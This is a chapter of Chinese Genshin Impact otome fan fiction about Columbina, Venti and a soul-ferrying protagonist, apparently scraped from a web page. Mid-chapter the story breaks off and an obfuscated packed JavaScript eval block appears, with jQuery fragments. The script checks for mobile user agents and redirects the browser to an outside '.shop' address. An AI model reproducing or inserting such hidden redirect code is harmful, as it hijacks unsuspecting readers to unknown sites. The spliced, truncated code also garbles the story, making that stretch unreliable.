54. 你也要一截月光吗?
作品:《今天他们没有拆家【原神乙女】》 “我亲爱的、亲爱的妹妹。”
哥伦比娅整理好衣装,“嗯,今天我们又要去哪?”
“北边的溪流旁,那里的果子最甜。”
哥伦比娅不记得自己是何时降生的,又从何时起,听见了那把温柔的声音。
“我也有姐姐吗?”她问,“我一点都不记得。”
“有的。”虹月说,“我会教你如何做一枚月亮。我熟悉的一切,离今天实在久远,但不要怕,往前走吧,我亲爱的妹妹。我和你一起看看当下的一切。”
“我想听你讲那个故事。”哥伦比娅说。
“那其实不是故事,亲爱的。有人把力量献给你,而你将其中一段时间的力量,用来保护另一个人。这力量又被她用到我身上,所以我睁开眼睛。睁开眼,我就看见了你。”
“不是故事吗?听你的描述,我好像很厉害。用来保护另一个人,意思是我也有了很重要的人?我还可以保护她?”她仔细品味了其中的内容,“有点陌生。保护她,和作为月神赐福,究竟有什么不同?”
“她不信仰你,我亲爱的妹妹。不同之处在于,对于想要保护的人,你时常会忘记自己的身份。”
“你是指,我会忘记自己是月神?”林间的草地非常柔软,有些湿漉漉的,哥伦比娅轻轻从草地上掠过,“忘记这个,反而是重要的?”
“不是重要,是轻松。忘记这一点,意味着那些时刻无关你身上的职责,只关于你。”
“关于我?”
“你喜欢的,你讨厌的,想要看见的……”
“所以那个时候,是我想要那样做?我想要保护她?”
“这是个很重要的问题。是与不是,或许不能由我来回答。你会得出自己的答案。”
“让我来看看你都在干什么。”温迪停在船边上,他拨动琴弦,查阅你的进程,“‘不要用血肉祭祀,你们供奉的那位根本不爱这个。保护好歌手的生命健康安全,从你们做起’?这我有印象,是寄往鹤观的吧?‘实际上就是没有喜欢看人类互相厮杀的神灵,所以这个不能算供奉,你们没有打下去的必要’?你要跟纳塔人说这个?”
“对的。”你点头。
“放在最难忘的时刻——死里逃生是这么用的吗?引渡的时候一边捞人、一边让他们给你带话啊?”
“从前有这么一句老话——来都来了。”你手边摆着一沓纸,“《常见喜好与沟通禁忌》,等我走完引渡流程,这本也就写完了。”
“有意思。”他笑盈盈,“那与我的沟通禁忌呢?”
“不可强行干涉他人自由意志,不然运势会有影响,包括且不限于:只是在苹果树下休息,就被苹果砸中。”你认真答复。
“还算了解我。不过嘛,我可不舍得浪费苹果。我想想,‘储藏的美酒总是会消失’,这个惩罚还不错。”
你开着船继续往前走,是个孩子,有点眼熟。
“下次不要往雪堆里扎了。”你拎着幼年阿贾克斯,把他往他自己的身体里放。雪地里失温很快,得做点什么,让他快速被捞出去。
“你的意思是说,一头棕熊忽然把他带到了安全的地方,还用自己的绒毛给他取暖?”妖精吸了一口气,“这个月以来已经是第三十二次了!”
“我觉得你们根本没有这样对账的必要。”你耸肩,“每一次凶险都算需要引渡,那你们的业务量未免也太大了。”
“那兔子忽然踹到背上,把呛住他的异物踹了出去呢?”
“没有人规定这种事情兔子就做不到吧?”
“对准要害的箭矢,忽然被鹰攫走?”妖精又问。
“这么厉害!我也想养一只!”
妖精气哼哼地走了,风精灵从你的兜帽里钻出来,“你演得太浮夸了,看得出来,他被你气得不轻。”
“怎么这样!我已经很配合了。”你半真半假地抱怨,“那你教教我。”
“不教。教会你,你迟早有一天要演到我这里来。”他在你肩膀上找到了一个舒服的位置。
“诶——怎么这样!”这倒无法反驳,你的确从温迪这里学到了不少,“他还会再来的,他们的记录模式得调整一下了。毕竟达达利亚可是经常往‘生死边缘’走一遭的。”
言下之意,就是你演得好也没什么用,妖精迟早能看出来你的敷衍。
“真给他惹急了,不知道能不能喊菲林斯、呃克里洛调停一下。”你摇头。
阿乔就不会来找你对账。有几次你看见他往昏睡的基尼奇身侧摆上了漂亮的花,摆完又莫名生起气来,“那以后谁给我摘果子?在伟大圣龙面前,多少有点身为仆从的自觉啊!起来干活!”
“我问你,咱俩关系好吧?”风精灵问。
“知道你要说什么。我那朋友没有仔细向我交代过,所以我对‘引渡亡魂’的全部理解是,只要能活就不需要引渡。”
“爽快。”温迪喜悦,“下次找你喝酒。”
“说是这么说,我杯子里的酒,大概率还是会被你喝掉吧?”
“怎么能这样算?当然是一码归一码。再说,我哪次没有因为喝你的酒补偿你了?”
在霜月重新靠近提瓦特的那一刻,你拥住新生不久的月神,“走吧,哥伦比娅。”
这个时机和速度,刚好够把桑多涅推开。
“我有好多话想对你说啊。”把桑多涅护在身后,哥伦比娅声音轻柔。
“嗯?去哪里了……啊。”她倏然明白过来,“这个时候,你是在和我并肩作战啊。”
这种心情,无法用语言来形容。她的动作轻盈敏捷,好奇妙,原本她不该在那么早和你相遇的。但她借着三月的名义,多出了一段真正诞生前的时光,人们说有人狡黠又难以捉摸,在月亮船上引渡灵魂,而她将那段空白的、并不真正属于她的时间给了你,让你可以傍身。
她没想到的是,这样一来,她便从诞生的时刻起,听到有关你的事。
她有了姐姐,这是过去没有的事。她因着虹月为锚点,在被排斥的时候多了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239275|196342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些力量,这是她与世界的牵绊。真是奇妙,从那个时候,从很久很久之前,她就知道有一天会遇见你。
战后,你与哥伦比娅夜间漫步,她偏着头仔细感受,“嗯?你没有用我的力量?”
“用的是权能,对吧?把自己的力量,纺织成月光。”
是啊,你不需要被信仰。但她的权能帮助你方便地收集起人们的祈愿,作为他们之后的资粮。但或许是她那爱护的心意,你的力量从那时起总是恢复得很快,就像你在听她唱歌,轻轻摸着你的头,帮你振作精神一样。
“你也要一截‘月光’吗?”你半开玩笑。
“我要。”她想了想,肯定道,“这是你给的‘月光’。”
你将一截念力缠在她的衣袖上,哥伦比娅伸手去碰,“我好像……闻见了花香。”
“还没有结束吗?”她问,“你要做的事用了好久,好漫长。”
“还没有结束。因为我答应下来的,比已经做了的要多呀。”
“我想和你一起烤饼干,我们可以用烤好的饼干配下午茶,多加一点糖,喝的东西就不会苦了。”
“今天的咖啡好苦啊。”芙宁娜叹了一口气。她抬头看向窗外,“又在下冰雹?那维莱特,谁又惹你生气了?”
“抱歉,想到过去岁月中遗憾的事,周围的水体就变成这样了。”那维莱特垂眼。
“我就是那么一说——没有别的意思。也是有好事的嘛,都是冰的话,水位也没那么容易上涨了。”
他还不知道这会为之后的枫丹带来便利,意识的交汇和混杂,让融合成的水难解难分。但这冰的形状,本身就以个体为基础。而且冰面厚的话,人也不会摔落到危险的水体里,冒着莫名被融合的风险了。
“诶,你刚刚是不是说遗憾?上个月看歌剧的时候,你不是还没有感觉?”
“抱歉。”
“没有那么多需要你道歉的事啦。”
你答应这个世界的事,原本是没有那么多的。直到你备受照顾,而小小的风精灵落在你肩头,他教你如何收集愿望。
“那怎么能一样?”温迪拿着一卷厚厚的诗集,“能够续写,变成新的篇章的,还有很多呢?你不是一直就在做这样的事吗?”
“来嘛。我很熟练的,我知道用最小的力量能做成哪些事。怎么说都是和我一起最合适吧?”
你思忖片刻,看着眼前的谜语人、卡bug专业户,一时不知该不该这么答应他。
“你那是什么眼神。摩拉克斯还不是一样,你可不准只说我,不说他!”
在这一点上,你和温迪其实早有共识——给万物带来转机与希望的柔风啊,你们有着共同的愿望。你喊他起床的时候绝不留情,他要你出力的时候毫不手软,其他的时候就不是这么一回事了。
“就是因为你更方便嘛,这样我就不用出手啦。”
“来嘛来嘛,看在塞西莉亚花与美酒的份上?什么,你说最喜欢这些的其实是我——不要这样戳穿我啦!”

